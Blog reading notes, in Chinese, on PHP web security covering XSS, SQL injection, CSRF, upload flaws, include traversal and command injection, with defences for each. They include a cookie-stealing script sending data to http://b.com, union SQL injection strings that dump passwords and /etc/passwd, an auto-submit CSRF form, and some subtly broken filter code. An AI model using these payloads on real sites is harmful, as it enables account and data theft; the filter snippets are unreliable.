位置:首页  >   读书笔记  > 全栈学习-第十四将-安全

全栈学习-第十四将-安全

<script>

    (new Image()).src="http://b.com?cookie="+document.cookie+'&url='+location.href;

</script>



XSS防范

    1,php.ini

            session.cookie_httponly = On

        黑客不能盗取cookie了

        但是还能破坏我们的网站:

        <script>

                location='http://b.com';

        </script>

    2.strip_tags过滤HTML标签 如:script

        如果黑客输入的内容为元素的属性

                如:

            <input value="用户的输入的内容"  onload="alert(1)" />

    3, htmlentities 转移引号,第二个参数设置为ENT_QUOTES

            "  ====> &quot;

            '=====>&#039;

            用户输入的内容-》经过jquery渲染到页面

            jQuery会自动解析unicode编码

    4,反斜杠转义:

        str_replace('\\','&#xoo5c;')

        某些情况,JS代码还能执行

        <a href="javascript:alert(1)"></a>

        <div style="width:expression(alert(/xss/))">

    5,替换script ,expression

        str_ireplace(array('script' ,' expression'),array('script' ,'expression ‘),str)

    6. 登录强制重置session_id

        session_regenerate_id(true)

        PHP默认的session_id始终为浏览器的PHPSESSID的cookie.

        即使服务器端SESSION已经过期也一样

        用户的session_id可能是百年不变


    function filter($input){

        $input = strip_tags(trim($input));

        $input = htmlentities($input,ENT_QUOTES,'UTF-8');

          $input = str_ireplace(

            array('\\','script','expression'),

            array('&#x005c','script','expression'),

            $input

        );

        return $input;

    }


第二章:文本的输入输出

        输入or输出过滤?

       

    例如,在github提交代码过滤处理。

       

    原始输入数据入库,输出过滤

        输出过滤

            好处:1,保存完整数据

                2. 需要什么过滤什么,不同场景过滤出不同结果使用

            难点:

                需要每个调用者灵活过滤,时刻保持警惕

用户输入内容:

        有才网全站工程师

        今天学习html标签<hr>用法

        <script type="text/javascript">alert('cookie:'+document.cookie);</script>


作为单行显示

        $content = htmlspecialchars($content);

        echo '用户姓名:'.$content;

//单行编辑

       // $content = addslashes($content);//不管用

        $content = str_replace(array("'","""),array("&#39","&#37"),htmlspecialchars($content));

        echo '修改姓名:<input type="text" style="width:100%" value='".$content."'/>';


//多行显示

        $content = nl2br(htmlspecialchars($content));

        echo '博客内容:<br/></div>'.$content.'</div>';

//多行编辑

        echo '修改博客:<br/><texarea style="width:100%;height:30px">'.$content.'</textarea>';

//JS变量

    $content=str_replace(array("\"","\n","\r","/"),array("\\\"","\\n","","\/"),$content);

    echo '<script> var cont="'.$content.'"; alert(cont);<script>';

第三章SQL注入:

    利用union联合查询

        查询mysql版本 ?id=-1'union select version(),2--

        查询当前连接数据库:?id=-1'union select database(),2--

        查询数据库结构:?id=-1'union 1(SELECT (@) FROM (SELECT(@:=0x00.............)))

        查询用户名密码:?id=-1' union union select username,password from user

        查看文件: SELECT title,content FROM 'article' where 'id=-1' union select 1,load_file('/etc/passwd')--'


        更多攻击方法: http://websec.ca/kb/sql_injection


    SQL 注入防范

        1,数字类型也用单引号

        2,数字类型用intval转换

        3,拼接SQL的每个参数任何条件下都要转换

        4,用mysql_real_escape_string 不用mysql_escape_string (宽字符)

            使用PDO参数绑定

        5,最小mysql权限

        表名加前缀不容易猜出

        6,用户密码不要简单md5,可以加盐多次md5,hash256,DES加密

        7,开发环境php-taint自动检测安全,第三方扫描

      

第四章:CSRF攻击

        强制用户进行某个操作

        <img src="/logout.php"/>

        涉及写数据库操作最好都用POST

2.png


自动提交表单

    <form id="csrf_form" action="/a.com/follow.php" method="post" target="csrf_frame">

    <input type="hidden" name="uid" value="123"/>

</form>

<iframe name="csrf_frame" style="display:none;" ></ifame>

    <script>

    document.getElementById('csrf_form').submit();

    </script>

CSRF防范

1.判断来源$_SERVER['HTTP_REFERER']


2, 验证码

    表单显示验证码图片,验证码的值存session,提交时对比

 3,令牌验证,原理类似验证码

    表单隐藏随机串,值存session

     限制了,必须在源网站获取表单

    防止黑客刷真粉丝,防不了僵尸粉


其他安全问题

    上传漏洞

    黑客可以上传webshell修改网站程序文件,然后放置木马

    漏洞原因

        1,没有对上传文件的格式进行严格判断

        2,运行文件漏洞,

    查找漏洞

        find命令 查找最近被修改的文件,再查看网站日志中文件修改时间用户再进行什么操作

        find ./ -mtime 0;

    预防方法:
        程序文件的设置为只读。

        上传文件和程序文件分离(配置单独的二级域名访问,并不能执行pHP)

 

include 安全

        include './class/'.$_GET['file']; -> ../../../etc/passwd


    防御方法

    1,include './class/'.basename($_GET['file']).'.Class.php';

    2, realpath去掉相对路径

    3,PHP配置open_basedir


执行命令

    exec,shell_exec,system   ;执行的命令如果有用户输入的命令


    用escapeshellcmd 函数防止用户输入分号进行闭合命令。


    用escapeshellarg 函数防止用户闭合命令的参数。


    配置safe_mode_exec_dir ,让PHP只能执行指定目录下的命令程序

    

        

    

0
文章属性
精彩评论